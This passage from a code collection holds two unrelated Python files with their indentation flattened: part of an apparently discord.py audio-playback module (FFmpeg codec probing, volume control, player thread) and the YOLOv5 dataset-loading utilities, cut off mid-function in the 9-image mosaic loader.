AttributeError
Invalid probe method, must be ``'native'`` or ``'fallback'``.
TypeError
Invalid value for ``probe`` parameter, must be :class:`str` or a callable.
Returns
---------
Optional[Tuple[Optional[:class:`str`], Optional[:class:`int`]]]
A 2-tuple with the codec and bitrate of the input source.
"""
method = method or 'native'
executable = executable or 'ffmpeg'
probefunc = fallback = None
if isinstance(method, str):
probefunc = getattr(cls, '_probe_codec_' + method, None)
if probefunc is None:
raise AttributeError(f"Invalid probe method {method!r}")
if probefunc is cls._probe_codec_native:
fallback = cls._probe_codec_fallback
elif callable(method):
probefunc = method
fallback = cls._probe_codec_fallback
else:
raise TypeError("Expected str or callable for parameter 'probe', " \
f"not '{method.__class__.__name__}'")
codec = bitrate = None
loop = asyncio.get_event_loop()
try:
codec, bitrate = await loop.run_in_executor(None, lambda: probefunc(source, executable)) # type: ignore
except Exception:
if not fallback:
_log.exception("Probe '%s' using '%s' failed", method, executable)
return # type: ignore
_log.exception("Probe '%s' using '%s' failed, trying fallback", method, executable)
try:
codec, bitrate = await loop.run_in_executor(None, lambda: fallback(source, executable)) # type: ignore
except Exception:
_log.exception("Fallback probe using '%s' failed", executable)
else:
_log.info("Fallback probe found codec=%s, bitrate=%s", codec, bitrate)
else:
_log.info("Probe found codec=%s, bitrate=%s", codec, bitrate)
finally:
return codec, bitrate
@staticmethod
def _probe_codec_native(source, executable: str = 'ffmpeg') -> Tuple[Optional[str], Optional[int]]:
exe = executable[:2] + 'probe' if executable in ('ffmpeg', 'avconv') else executable
args = [exe, '-v', 'quiet', '-print_format', 'json', '-show_streams', '-select_streams', 'a:0', source]
output = subprocess.check_output(args, timeout=20)
codec = bitrate = None
if output:
data = json.loads(output)
streamdata = data['streams'][0]
codec = streamdata.get('codec_name')
bitrate = int(streamdata.get('bit_rate', 0))
bitrate = max(round(bitrate/1000), 512)
return codec, bitrate
@staticmethod
def _probe_codec_fallback(source, executable: str = 'ffmpeg') -> Tuple[Optional[str], Optional[int]]:
args = [executable, '-hide_banner', '-i', source]
proc = subprocess.Popen(args, creationflags=CREATE_NO_WINDOW, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
out, _ = proc.communicate(timeout=20)
output = out.decode('utf8')
codec = bitrate = None
codec_match = re.search(r"Stream #0.*?Audio: (\w+)", output)
if codec_match:
codec = codec_match.group(1)
br_match = re.search(r"(\d+) [kK]b/s", output)
if br_match:
bitrate = max(int(br_match.group(1)), 512)
return codec, bitrate
def read(self) -> bytes:
return next(self._packet_iter, b'')
def is_opus(self) -> bool:
return True
class PCMVolumeTransformer(AudioSource, Generic[AT]):
"""Transforms a previous :class:`AudioSource` to have volume controls.
This does not work on audio sources that have :meth:`AudioSource.is_opus`
set to ``True``.
Parameters
------------
original: :class:`AudioSource`
The original AudioSource to transform.
volume: :class:`float`
The initial volume to set it to.
See :attr:`volume` for more info.
Raises
-------
TypeError
Not an audio source.
ClientException
The audio source is opus encoded.
"""
def __init__(self, original: AT, volume: float = 1.0):
if not isinstance(original, AudioSource):
raise TypeError(f'expected AudioSource not {original.__class__.__name__}.')
if original.is_opus():
raise ClientException('AudioSource must not be Opus encoded.')
self.original: AT = original
self.volume = volume
@property
def volume(self) -> float:
"""Retrieves or sets the volume as a floating point percentage (e.g. ``1.0`` for 100%)."""
return self._volume
@volume.setter
def volume(self, value: float) -> None:
self._volume = max(value, 0.0)
def cleanup(self) -> None:
self.original.cleanup()
def read(self) -> bytes:
ret = self.original.read()
return audioop.mul(ret, 2, min(self._volume, 2.0))
class AudioPlayer(threading.Thread):
DELAY: float = OpusEncoder.FRAME_LENGTH / 1000.0
def __init__(self, source: AudioSource, client: VoiceClient, *, after=None):
threading.Thread.__init__(self)
self.daemon: bool = True
self.source: AudioSource = source
self.client: VoiceClient = client
self.after: Optional[Callable[[Optional[Exception]], Any]] = after
self._end: threading.Event = threading.Event()
self._resumed: threading.Event = threading.Event()
self._resumed.set() # we are not paused
self._current_error: Optional[Exception] = None
self._connected: threading.Event = client._connected
self._lock: threading.Lock = threading.Lock()
if after is not None and not callable(after):
raise TypeError('Expected a callable for the "after" parameter.')
def _do_run(self) -> None:
self.loops = 0
self._start = time.perf_counter()
# getattr lookup speed ups
play_audio = self.client.send_audio_packet
self._speak(True)
while not self._end.is_set():
# are we paused?
if not self._resumed.is_set():
# wait until we aren't
self._resumed.wait()
continue
# are we disconnected from voice?
if not self._connected.is_set():
# wait until we are connected
self._connected.wait()
# reset our internal data
self.loops = 0
self._start = time.perf_counter()
self.loops += 1
data = self.source.read()
if not data:
self.stop()
break
play_audio(data, encode=not self.source.is_opus())
next_time = self._start + self.DELAY * self.loops
delay = max(0, self.DELAY + (next_time - time.perf_counter()))
time.sleep(delay)
def run(self) -> None:
try:
self._do_run()
except Exception as exc:
self._current_error = exc
self.stop()
finally:
self.source.cleanup()
self._call_after()
def _call_after(self) -> None:
error = self._current_error
if self.after is not None:
try:
self.after(error)
except Exception as exc:
_log.exception('Calling the after function failed.')
exc.__context__ = error
traceback.print_exception(type(exc), exc, exc.__traceback__)
elif error:
msg = f'Exception in voice thread {self.name}'
_log.exception(msg, exc_info=error)
print(msg, file=sys.stderr)
traceback.print_exception(type(error), error, error.__traceback__)
def stop(self) -> None:
self._end.set()
self._resumed.set()
self._speak(False)
def pause(self, *, update_speaking: bool = True) -> None:
self._resumed.clear()
if update_speaking:
self._speak(False)
def resume(self, *, update_speaking: bool = True) -> None:
self.loops = 0
self._start = time.perf_counter()
self._resumed.set()
if update_speaking:
self._speak(True)
def is_playing(self) -> bool:
return self._resumed.is_set() and not self._end.is_set()
def is_paused(self) -> bool:
return not self._end.is_set() and not self._resumed.is_set()
def _set_source(self, source: AudioSource) -> None:
with self._lock:
self.pause(update_speaking=False)
self.source = source
self.resume(update_speaking=False)
def _speak(self, speaking: bool) -> None:
try:
asyncio.run_coroutine_threadsafe(self.client.ws.speak(speaking), self.client.loop)
except Exception as e:
_log.info("Speaking call in player failed: %s", e)
|
datasets.py | # YOLOv5 datasets utils and dataloaders
import glob
import hashlib
import json
import logging
import os
import random
import shutil
import time
from itertools import repeat
from multiprocessing.pool import ThreadPool, Pool
from pathlib import Path
from threading import Thread
import cv2
import numpy as np
import torch
import torch.nn.functional as F
import yaml
from PIL import Image, ExifTags
from torch.utils.data import Dataset
from tqdm import tqdm
from utils.augmentations import Albumentations, augment_hsv, copy_paste, letterbox, mixup, random_perspective
from utils.general import check_requirements, check_file, check_dataset, xywh2xyxy, xywhn2xyxy, xyxy2xywhn, \
xyn2xy, segments2boxes, clean_str
from utils.torch_utils import torch_distributed_zero_first
# Parameters
HELP_URL = 'https://github.com/ultralytics/yolov5/wiki/Train-Custom-Data'
IMG_FORMATS = ['bmp', 'jpg', 'jpeg', 'png', 'tif', 'tiff', 'dng', 'webp', 'mpo'] # acceptable image suffixes
VID_FORMATS = ['mov', 'avi', 'mp4', 'mpg', 'mpeg', 'm4v', 'wmv', 'mkv'] # acceptable video suffixes
NUM_THREADS = min(8, os.cpu_count()) # number of multiprocessing threads
# Get orientation exif tag
for orientation in ExifTags.TAGS.keys():
if ExifTags.TAGS[orientation] == 'Orientation':
break
def get_hash(paths):
# Returns a single hash value of a list of paths (files or dirs)
size = sum(os.path.getsize(p) for p in paths if os.path.exists(p)) # sizes
h = hashlib.md5(str(size).encode()) # hash sizes
h.update(''.join(paths).encode()) # hash paths
return h.hexdigest() # return hash
def exif_size(img):
# Returns exif-corrected PIL size
s = img.size # (width, height)
try:
rotation = dict(img._getexif().items())[orientation]
if rotation == 6: # rotation 270
s = (s[1], s[0])
elif rotation == 8: # rotation 90
s = (s[1], s[0])
except:
pass
return s
def exif_transpose(image):
"""
Transpose a PIL image accordingly if it has an EXIF Orientation tag.
From https://github.com/python-pillow/Pillow/blob/master/src/PIL/ImageOps.py
:param image: The image to transpose.
:return: An image.
"""
exif = image.getexif()
orientation = exif.get(0x0112, 1) # default 1
if orientation > 1:
method = {2: Image.FLIP_LEFT_RIGHT,
3: Image.ROTATE_180,
4: Image.FLIP_TOP_BOTTOM,
5: Image.TRANSPOSE,
6: Image.ROTATE_270,
7: Image.TRANSVERSE,
8: Image.ROTATE_90,
}.get(orientation)
if method is not None:
image = image.transpose(method)
del exif[0x0112]
image.info["exif"] = exif.tobytes()
return image
def create_dataloader(path, imgsz, batch_size, stride, single_cls=False, hyp=None, augment=False, cache=False, pad=0.0,
rect=False, rank=-1, workers=8, image_weights=False, quad=False, prefix=''):
# Make sure only the first process in DDP process the datasets first, and the following others can use the cache
with torch_distributed_zero_first(rank):
dataset = LoadImagesAndLabels(path, imgsz, batch_size,
augment=augment, # augment images
hyp=hyp, # augmentation hyperparameters
rect=rect, # rectangular training
cache_images=cache,
single_cls=single_cls,
stride=int(stride),
pad=pad,
image_weights=image_weights,
prefix=prefix)
batch_size = min(batch_size, len(dataset))
nw = min([os.cpu_count(), batch_size if batch_size > 1 else 0, workers]) # number of workers
sampler = torch.utils.data.distributed.DistributedSampler(dataset) if rank != -1 else None
loader = torch.utils.data.DataLoader if image_weights else InfiniteDataLoader
# Use torch.utils.data.DataLoader() if datasets.properties will update during training else InfiniteDataLoader()
dataloader = loader(dataset,
batch_size=batch_size,
num_workers=nw,
sampler=sampler,
pin_memory=True,
collate_fn=LoadImagesAndLabels.collate_fn4 if quad else LoadImagesAndLabels.collate_fn)
return dataloader, dataset
class InfiniteDataLoader(torch.utils.data.dataloader.DataLoader):
""" Dataloader that reuses workers
Uses same syntax as vanilla DataLoader
"""
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
object.__setattr__(self, 'batch_sampler', _RepeatSampler(self.batch_sampler))
self.iterator = super().__iter__()
def __len__(self):
return len(self.batch_sampler.sampler)
def __iter__(self):
for i in range(len(self)):
yield next(self.iterator)
class _RepeatSampler(object):
""" Sampler that repeats forever
Args:
sampler (Sampler)
"""
def __init__(self, sampler):
self.sampler = sampler
def __iter__(self):
while True:
yield from iter(self.sampler)
class LoadImages: # for inference
def __init__(self, path, img_size=640, stride=32):
p = str(Path(path).absolute()) # os-agnostic absolute path
if '*' in p:
files = sorted(glob.glob(p, recursive=True)) # glob
elif os.path.isdir(p):
files = sorted(glob.glob(os.path.join(p, '*.*'))) # dir
elif os.path.isfile(p):
files = [p] # files
else:
raise Exception(f'ERROR: {p} does not exist')
images = [x for x in files if x.split('.')[-1].lower() in IMG_FORMATS]
videos = [x for x in files if x.split('.')[-1].lower() in VID_FORMATS]
ni, nv = len(images), len(videos)
self.img_size = img_size
self.stride = stride
self.files = images + videos
self.nf = ni + nv # number of files
self.video_flag = [False] * ni + [True] * nv
self.mode = 'image'
if any(videos):
self.new_video(videos[0]) # new video
else:
self.cap = None
assert self.nf > 0, f'No images or videos found in {p}. ' \
f'Supported formats are:\nimages: {IMG_FORMATS}\nvideos: {VID_FORMATS}'
def __iter__(self):
self.count = 0
return self
def __next__(self):
if self.count == self.nf:
raise StopIteration
path = self.files[self.count]
if self.video_flag[self.count]:
# Read video
self.mode = 'video'
ret_val, img0 = self.cap.read()
if not ret_val:
self.count += 1
self.cap.release()
if self.count == self.nf: # last video
raise StopIteration
else:
path = self.files[self.count]
self.new_video(path)
ret_val, img0 = self.cap.read()
self.frame += 1
print(f'video {self.count + 1}/{self.nf} ({self.frame}/{self.frames}) {path}: ', end='')
else:
# Read image
self.count += 1
img0 = cv2.imread(path) # BGR
assert img0 is not None, 'Image Not Found ' + path
print(f'image {self.count}/{self.nf} {path}: ', end='')
# Padded resize
img = letterbox(img0, self.img_size, stride=self.stride)[0]
# Convert
img = img.transpose((2, 0, 1))[::-1] # HWC to CHW, BGR to RGB
img = np.ascontiguousarray(img)
return path, img, img0, self.cap
def new_video(self, path):
self.frame = 0
self.cap = cv2.VideoCapture(path)
self.frames = int(self.cap.get(cv2.CAP_PROP_FRAME_COUNT))
def __len__(self):
return self.nf # number of files
class LoadWebcam: # for inference
def __init__(self, pipe='0', img_size=640, stride=32):
self.img_size = img_size
self.stride = stride
self.pipe = eval(pipe) if pipe.isnumeric() else pipe
self.cap = cv2.VideoCapture(self.pipe) # video capture object
self.cap.set(cv2.CAP_PROP_BUFFERSIZE, 3) # set buffer size
def __iter__(self):
self.count = -1
return self
def __next__(self):
self.count += 1
if cv2.waitKey(1) == ord('q'): # q to quit
self.cap.release()
cv2.destroyAllWindows()
raise StopIteration
# Read frame
ret_val, img0 = self.cap.read()
img0 = cv2.flip(img0, 1) # flip left-right
# Print
assert ret_val, f'Camera Error {self.pipe}'
img_path = 'webcam.jpg'
print(f'webcam {self.count}: ', end='')
# Padded resize
img = letterbox(img0, self.img_size, stride=self.stride)[0]
# Convert
img = img.transpose((2, 0, 1))[::-1] # HWC to CHW, BGR to RGB
img = np.ascontiguousarray(img)
return img_path, img, img0, None
def __len__(self):
return 0
class LoadStreams: # multiple IP or RTSP cameras
def __init__(self, sources='streams.txt', img_size=640, stride=32):
self.mode = 'stream'
self.img_size = img_size
self.stride = stride
if os.path.isfile(sources):
with open(sources, 'r') as f:
sources = [x.strip() for x in f.read().strip().splitlines() if len(x.strip())]
else:
sources = [sources]
n = len(sources)
self.imgs, self.fps, self.frames, self.threads = [None] * n, [0] * n, [0] * n, [None] * n
self.sources = [clean_str(x) for x in sources] # clean source names for later
for i, s in enumerate(sources): # index, source
# Start thread to read frames from video stream
print(f'{i + 1}/{n}: {s}... ', end='')
if 'youtube.com/' in s or 'youtu.be/' in s: # if source is YouTube video
check_requirements(('pafy', 'youtube_dl'))
import pafy
s = pafy.new(s).getbest(preftype="mp4").url # YouTube URL
s = eval(s) if s.isnumeric() else s # i.e. s = '0' local webcam
cap = cv2.VideoCapture(s)
assert cap.isOpened(), f'Failed to open {s}'
w = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))
h = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))
self.fps[i] = max(cap.get(cv2.CAP_PROP_FPS) % 100, 0) or 30.0 # 30 FPS fallback
self.frames[i] = max(int(cap.get(cv2.CAP_PROP_FRAME_COUNT)), 0) or float('inf') # infinite stream fallback
_, self.imgs[i] = cap.read() # guarantee first frame
self.threads[i] = Thread(target=self.update, args=([i, cap]), daemon=True)
print(f" success ({self.frames[i]} frames {w}x{h} at {self.fps[i]:.2f} FPS)")
self.threads[i].start()
print('') # newline
# check for common shapes
s = np.stack([letterbox(x, self.img_size, stride=self.stride)[0].shape for x in self.imgs], 0) # shapes
self.rect = np.unique(s, axis=0).shape[0] == 1 # rect inference if all shapes equal
if not self.rect:
print('WARNING: Different stream shapes detected. For optimal performance supply similarly-shaped streams.')
def update(self, i, cap):
# Read stream `i` frames in daemon thread
n, f, read = 0, self.frames[i], 1 # frame number, frame array, inference every 'read' frame
while cap.isOpened() and n < f:
n += 1
# _, self.imgs[index] = cap.read()
cap.grab()
if n % read == 0:
success, im = cap.retrieve()
self.imgs[i] = im if success else self.imgs[i] * 0
time.sleep(1 / self.fps[i]) # wait time
def __iter__(self):
self.count = -1
return self
def __next__(self):
self.count += 1
if not all(x.is_alive() for x in self.threads) or cv2.waitKey(1) == ord('q'): # q to quit
cv2.destroyAllWindows()
raise StopIteration
# Letterbox
img0 = self.imgs.copy()
img = [letterbox(x, self.img_size, auto=self.rect, stride=self.stride)[0] for x in img0]
# Stack
img = np.stack(img, 0)
# Convert
img = img[..., ::-1].transpose((0, 3, 1, 2)) # BGR to RGB, BHWC to BCHW
img = np.ascontiguousarray(img)
return self.sources, img, img0, None
def __len__(self):
return len(self.sources) # 1E12 frames = 32 streams at 30 FPS for 30 years
def img2label_paths(img_paths):
# Define label paths as a function of image paths
sa, sb = os.sep + 'images' + os.sep, os.sep + 'labels' + os.sep # /images/, /labels/ substrings
return [sb.join(x.rsplit(sa, 1)).rsplit('.', 1)[0] + '.txt' for x in img_paths]
class LoadImagesAndLabels(Dataset): # for training/testing
def __init__(self, path, img_size=640, batch_size=16, augment=False, hyp=None, rect=False, image_weights=False,
cache_images=False, single_cls=False, stride=32, pad=0.0, prefix=''):
self.img_size = img_size
self.augment = augment
self.hyp = hyp
self.image_weights = image_weights
self.rect = False if image_weights else rect
self.mosaic = self.augment and not self.rect # load 4 images at a time into a mosaic (only during training)
self.mosaic_border = [-img_size // 2, -img_size // 2]
self.stride = stride
self.path = path
self.albumentations = Albumentations() if augment else None
try:
f = [] # image files
for p in path if isinstance(path, list) else [path]:
p = Path(p) # os-agnostic
if p.is_dir(): # dir
f += glob.glob(str(p / '**' / '*.*'), recursive=True)
# f = list(p.rglob('**/*.*')) # pathlib
elif p.is_file(): # file
with open(p, 'r') as t:
t = t.read().strip().splitlines()
parent = str(p.parent) + os.sep
f += [x.replace('./', parent) if x.startswith('./') else x for x in t] # local to global path
# f += [p.parent / x.lstrip(os.sep) for x in t] # local to global path (pathlib)
else:
raise Exception(f'{prefix}{p} does not exist')
self.img_files = sorted([x.replace('/', os.sep) for x in f if x.split('.')[-1].lower() in IMG_FORMATS])
# self.img_files = sorted([x for x in f if x.suffix[1:].lower() in img_formats]) # pathlib
assert self.img_files, f'{prefix}No images found'
except Exception as e:
raise Exception(f'{prefix}Error loading data from {path}: {e}\nSee {HELP_URL}')
# Check cache
self.label_files = img2label_paths(self.img_files) # labels
cache_path = (p if p.is_file() else Path(self.label_files[0]).parent).with_suffix('.cache')
try:
cache, exists = np.load(cache_path, allow_pickle=True).item(), True # load dict
assert cache['version'] == 0.4 and cache['hash'] == get_hash(self.label_files + self.img_files)
except:
cache, exists = self.cache_labels(cache_path, prefix), False # cache
# Display cache
nf, nm, ne, nc, n = cache.pop('results') # found, missing, empty, corrupted, total
if exists:
d = f"Scanning '{cache_path}' images and labels... {nf} found, {nm} missing, {ne} empty, {nc} corrupted"
tqdm(None, desc=prefix + d, total=n, initial=n) # display cache results
if cache['msgs']:
logging.info('\n'.join(cache['msgs'])) # display warnings
assert nf > 0 or not augment, f'{prefix}No labels in {cache_path}. Can not train without labels. See {HELP_URL}'
# Read cache
[cache.pop(k) for k in ('hash', 'version', 'msgs')] # remove items
labels, shapes, self.segments = zip(*cache.values())
self.labels = list(labels)
self.shapes = np.array(shapes, dtype=np.float64)
self.img_files = list(cache.keys()) # update
self.label_files = img2label_paths(cache.keys()) # update
if single_cls:
for x in self.labels:
x[:, 0] = 0
n = len(shapes) # number of images
bi = np.floor(np.arange(n) / batch_size).astype(np.int) # batch index
nb = bi[-1] + 1 # number of batches
self.batch = bi # batch index of image
self.n = n
self.indices = range(n)
# Rectangular Training
if self.rect:
# Sort by aspect ratio
s = self.shapes # wh
ar = s[:, 1] / s[:, 0] # aspect ratio
irect = ar.argsort()
self.img_files = [self.img_files[i] for i in irect]
self.label_files = [self.label_files[i] for i in irect]
self.labels = [self.labels[i] for i in irect]
self.shapes = s[irect] # wh
ar = ar[irect]
# Set training image shapes
shapes = [[1, 1]] * nb
for i in range(nb):
ari = ar[bi == i]
mini, maxi = ari.min(), ari.max()
if maxi < 1:
shapes[i] = [maxi, 1]
elif mini > 1:
shapes[i] = [1, 1 / mini]
self.batch_shapes = np.ceil(np.array(shapes) * img_size / stride + pad).astype(np.int) * stride
# Cache images into memory for faster training (WARNING: large datasets may exceed system RAM)
self.imgs, self.img_npy = [None] * n, [None] * n
if cache_images:
if cache_images == 'disk':
self.im_cache_dir = Path(Path(self.img_files[0]).parent.as_posix() + '_npy')
self.img_npy = [self.im_cache_dir / Path(f).with_suffix('.npy').name for f in self.img_files]
self.im_cache_dir.mkdir(parents=True, exist_ok=True)
gb = 0 # Gigabytes of cached images
self.img_hw0, self.img_hw = [None] * n, [None] * n
results = ThreadPool(NUM_THREADS).imap(lambda x: load_image(*x), zip(repeat(self), range(n)))
pbar = tqdm(enumerate(results), total=n)
for i, x in pbar:
if cache_images == 'disk':
if not self.img_npy[i].exists():
np.save(self.img_npy[i].as_posix(), x[0])
gb += self.img_npy[i].stat().st_size
else:
self.imgs[i], self.img_hw0[i], self.img_hw[i] = x # im, hw_orig, hw_resized = load_image(self, i)
gb += self.imgs[i].nbytes
pbar.desc = f'{prefix}Caching images ({gb / 1E9:.1f}GB {cache_images})'
pbar.close()
def cache_labels(self, path=Path('./labels.cache'), prefix=''):
# Cache datasets labels, check images and read shapes
x = {} # dict
nm, nf, ne, nc, msgs = 0, 0, 0, 0, [] # number missing, found, empty, corrupt, messages
desc = f"{prefix}Scanning '{path.parent / path.stem}' images and labels..."
with Pool(NUM_THREADS) as pool:
pbar = tqdm(pool.imap_unordered(verify_image_label, zip(self.img_files, self.label_files, repeat(prefix))),
desc=desc, total=len(self.img_files))
for im_file, l, shape, segments, nm_f, nf_f, ne_f, nc_f, msg in pbar:
nm += nm_f
nf += nf_f
ne += ne_f
nc += nc_f
if im_file:
x[im_file] = [l, shape, segments]
if msg:
msgs.append(msg)
pbar.desc = f"{desc}{nf} found, {nm} missing, {ne} empty, {nc} corrupted"
pbar.close()
if msgs:
logging.info('\n'.join(msgs))
if nf == 0:
logging.info(f'{prefix}WARNING: No labels found in {path}. See {HELP_URL}')
x['hash'] = get_hash(self.label_files + self.img_files)
x['results'] = nf, nm, ne, nc, len(self.img_files)
x['msgs'] = msgs # warnings
x['version'] = 0.4 # cache version
try:
np.save(path, x) # save cache for next time
path.with_suffix('.cache.npy').rename(path) # remove .npy suffix
logging.info(f'{prefix}New cache created: {path}')
except Exception as e:
logging.info(f'{prefix}WARNING: Cache directory {path.parent} is not writeable: {e}') # path not writeable
return x
def __len__(self):
return len(self.img_files)
# def __iter__(self):
# self.count = -1
# print('ran datasets iter')
# #self.shuffled_vector = np.random.permutation(self.nF) if self.augment else np.arange(self.nF)
# return self
def __getitem__(self, index):
index = self.indices[index] # linear, shuffled, or image_weights
hyp = self.hyp
mosaic = self.mosaic and random.random() < hyp['mosaic']
if mosaic:
# Load mosaic
img, labels = load_mosaic(self, index)
shapes = None
# MixUp augmentation
if random.random() < hyp['mixup']:
img, labels = mixup(img, labels, *load_mosaic(self, random.randint(0, self.n - 1)))
else:
# Load image
img, (h0, w0), (h, w) = load_image(self, index)
# Letterbox
shape = self.batch_shapes[self.batch[index]] if self.rect else self.img_size # final letterboxed shape
img, ratio, pad = letterbox(img, shape, auto=False, scaleup=self.augment)
shapes = (h0, w0), ((h / h0, w / w0), pad) # for COCO mAP rescaling
labels = self.labels[index].copy()
if labels.size: # normalized xywh to pixel xyxy format
labels[:, 1:] = xywhn2xyxy(labels[:, 1:], ratio[0] * w, ratio[1] * h, padw=pad[0], padh=pad[1])
if self.augment:
img, labels = random_perspective(img, labels,
degrees=hyp['degrees'],
translate=hyp['translate'],
scale=hyp['scale'],
shear=hyp['shear'],
perspective=hyp['perspective'])
nl = len(labels) # number of labels
if nl:
labels[:, 1:5] = xyxy2xywhn(labels[:, 1:5], w=img.shape[1], h=img.shape[0], clip=True, eps=1E-3)
if self.augment:
# Albumentations
img, labels = self.albumentations(img, labels)
# HSV color-space
augment_hsv(img, hgain=hyp['hsv_h'], sgain=hyp['hsv_s'], vgain=hyp['hsv_v'])
# Flip up-down
if random.random() < hyp['flipud']:
img = np.flipud(img)
if nl:
labels[:, 2] = 1 - labels[:, 2]
# Flip left-right
if random.random() < hyp['fliplr']:
img = np.fliplr(img)
if nl:
labels[:, 1] = 1 - labels[:, 1]
# Cutouts
# labels = cutout(img, labels, p=0.5)
labels_out = torch.zeros((nl, 6))
if nl:
labels_out[:, 1:] = torch.from_numpy(labels)
# Convert
img = img.transpose((2, 0, 1))[::-1] # HWC to CHW, BGR to RGB
img = np.ascontiguousarray(img)
return torch.from_numpy(img), labels_out, self.img_files[index], shapes
@staticmethod
def collate_fn(batch):
img, label, path, shapes = zip(*batch) # transposed
for i, l in enumerate(label):
l[:, 0] = i # add target image index for build_targets()
return torch.stack(img, 0), torch.cat(label, 0), path, shapes
@staticmethod
def collate_fn4(batch):
img, label, path, shapes = zip(*batch) # transposed
n = len(shapes) // 4
img4, label4, path4, shapes4 = [], [], path[:n], shapes[:n]
ho = torch.tensor([[0., 0, 0, 1, 0, 0]])
wo = torch.tensor([[0., 0, 1, 0, 0, 0]])
s = torch.tensor([[1, 1, .5, .5, .5, .5]]) # scale
for i in range(n): # zidane torch.zeros(16,3,720,1280) # BCHW
i *= 4
if random.random() < 0.5:
im = F.interpolate(img[i].unsqueeze(0).float(), scale_factor=2., mode='bilinear', align_corners=False)[
0].type(img[i].type())
l = label[i]
else:
im = torch.cat((torch.cat((img[i], img[i + 1]), 1), torch.cat((img[i + 2], img[i + 3]), 1)), 2)
l = torch.cat((label[i], label[i + 1] + ho, label[i + 2] + wo, label[i + 3] + ho + wo), 0) * s
img4.append(im)
label4.append(l)
for i, l in enumerate(label4):
l[:, 0] = i # add target image index for build_targets()
return torch.stack(img4, 0), torch.cat(label4, 0), path4, shapes4
# Ancillary functions --------------------------------------------------------------------------------------------------
def load_image(self, i):
# loads 1 image from datasets index 'i', returns im, original hw, resized hw
im = self.imgs[i]
if im is None: # not cached in ram
npy = self.img_npy[i]
if npy and npy.exists(): # load npy
im = np.load(npy)
else: # read image
path = self.img_files[i]
im = cv2.imread(path) # BGR
assert im is not None, 'Image Not Found ' + path
h0, w0 = im.shape[:2] # orig hw
r = self.img_size / max(h0, w0) # ratio
if r != 1: # if sizes are not equal
im = cv2.resize(im, (int(w0 * r), int(h0 * r)),
interpolation=cv2.INTER_AREA if r < 1 and not self.augment else cv2.INTER_LINEAR)
return im, (h0, w0), im.shape[:2] # im, hw_original, hw_resized
else:
return self.imgs[i], self.img_hw0[i], self.img_hw[i] # im, hw_original, hw_resized
def load_mosaic(self, index):
# loads images in a 4-mosaic
labels4, segments4 = [], []
s = self.img_size
yc, xc = [int(random.uniform(-x, 2 * s + x)) for x in self.mosaic_border] # mosaic center x, y
indices = [index] + random.choices(self.indices, k=3) # 3 additional image indices
for i, index in enumerate(indices):
# Load image
img, _, (h, w) = load_image(self, index)
# place img in img4
if i == 0: # top left
img4 = np.full((s * 2, s * 2, img.shape[2]), 114, dtype=np.uint8) # base image with 4 tiles
x1a, y1a, x2a, y2a = max(xc - w, 0), max(yc - h, 0), xc, yc # xmin, ymin, xmax, ymax (large image)
x1b, y1b, x2b, y2b = w - (x2a - x1a), h - (y2a - y1a), w, h # xmin, ymin, xmax, ymax (small image)
elif i == 1: # top right
x1a, y1a, x2a, y2a = xc, max(yc - h, 0), min(xc + w, s * 2), yc
x1b, y1b, x2b, y2b = 0, h - (y2a - y1a), min(w, x2a - x1a), h
elif i == 2: # bottom left
x1a, y1a, x2a, y2a = max(xc - w, 0), yc, xc, min(s * 2, yc + h)
x1b, y1b, x2b, y2b = w - (x2a - x1a), 0, w, min(y2a - y1a, h)
elif i == 3: # bottom right
x1a, y1a, x2a, y2a = xc, yc, min(xc + w, s * 2), min(s * 2, yc + h)
x1b, y1b, x2b, y2b = 0, 0, min(w, x2a - x1a), min(y2a - y1a, h)
img4[y1a:y2a, x1a:x2a] = img[y1b:y2b, x1b:x2b] # img4[ymin:ymax, xmin:xmax]
padw = x1a - x1b
padh = y1a - y1b
# Labels
labels, segments = self.labels[index].copy(), self.segments[index].copy()
if labels.size:
labels[:, 1:] = xywhn2xyxy(labels[:, 1:], w, h, padw, padh) # normalized xywh to pixel xyxy format
segments = [xyn2xy(x, w, h, padw, padh) for x in segments]
labels4.append(labels)
segments4.extend(segments)
# Concat/clip labels
labels4 = np.concatenate(labels4, 0)
for x in (labels4[:, 1:], *segments4):
np.clip(x, 0, 2 * s, out=x) # clip when using random_perspective()
# img4, labels4 = replicate(img4, labels4) # replicate
# Augment
img4, labels4, segments4 = copy_paste(img4, labels4, segments4, p=self.hyp['copy_paste'])
img4, labels4 = random_perspective(img4, labels4, segments4,
degrees=self.hyp['degrees'],
translate=self.hyp['translate'],
scale=self.hyp['scale'],
shear=self.hyp['shear'],
perspective=self.hyp['perspective'],
border=self.mosaic_border) # border to remove
return img4, labels4
def load_mosaic9(self, index):
# loads images in a 9-mosaic
labels9, segments9 = [], []
s = self.img_size
indices = [index] + random.choices(self.indices, k=8) # 8 additional image indices
for i, index in enumerate(indices):
# Load image
img, _, (h, w) = load_image(self, index)
# place img in img9
if i == 0: # center
img9 = np.full((s * 3, s * 3, img.shape[2]), 114, dtype=np.uint8) # base image with 4 tiles
h0, w0 = h, w
c = s, s, s + w, s + h # xmin, ymin, xmax, ymax (base) coordinates
elif i == 1: # top
c = s, s - h, s + w, s
elif i == 2: # top right
c = s + wp, s - h, s + wp + w, s
elif i == 3: # right
c = s + w0, s, s + w0 + w, s + h
elif i == 4: # bottom right
c = s + w0, s + hp, s + w0 + w, s + hp + h
elif i == 5: # bottom
c = s + w0 - w, s + h0, s + w0, s + h0 + h
elif i == 6: # bottom left
c = s + w0 - wp - w, s + h0, s + w0 - wp, s + h0 + h
elif i == 7: # left
c = s - w, s + h0 - h, s, s + h0
elif i == 8: # top left
c = s - w, s + h0 - hp - h, s, s + h0 - hp
padx, pady = c[:2]
x1, y1, x2, y2 = [max(x, 0) for x in c] # allocate coords
# Labels
labels, segments = self.labels[index].copy(), self.segments[index].copy()
if labels.size:
labels[:, 1:] = xywhn2xyxy(labels[:, 1:], w, h, padx, pady) # normalized xywh to pixel xyxy format
segments = [xyn2xy(x, w, h, padx, pady) for x in segments]
labels9.append(labels)
segments9.extend(segments)
# Image
img9[y1:y2, x1:x2] = img[y1 - pady:, x1 - padx:] # img9[ymin:ymax, xmin:xmax]
hp, wp = h, w # height, width previous
# Offset
yc, xc = [int(random.uniform(0, s)) for _ in self.mosaic_border] # mosaic center x, y
img9 = img9[yc:yc + 2 * s, xc:xc + 2 * s]
# Concat/clip labels
labels9 = np.concatenate(labels9, 0)
labels9[:, [1, 3]] -= xc
labels9[:, [2, 4]] -= yc
c = np.array([xc, yc]) # centers
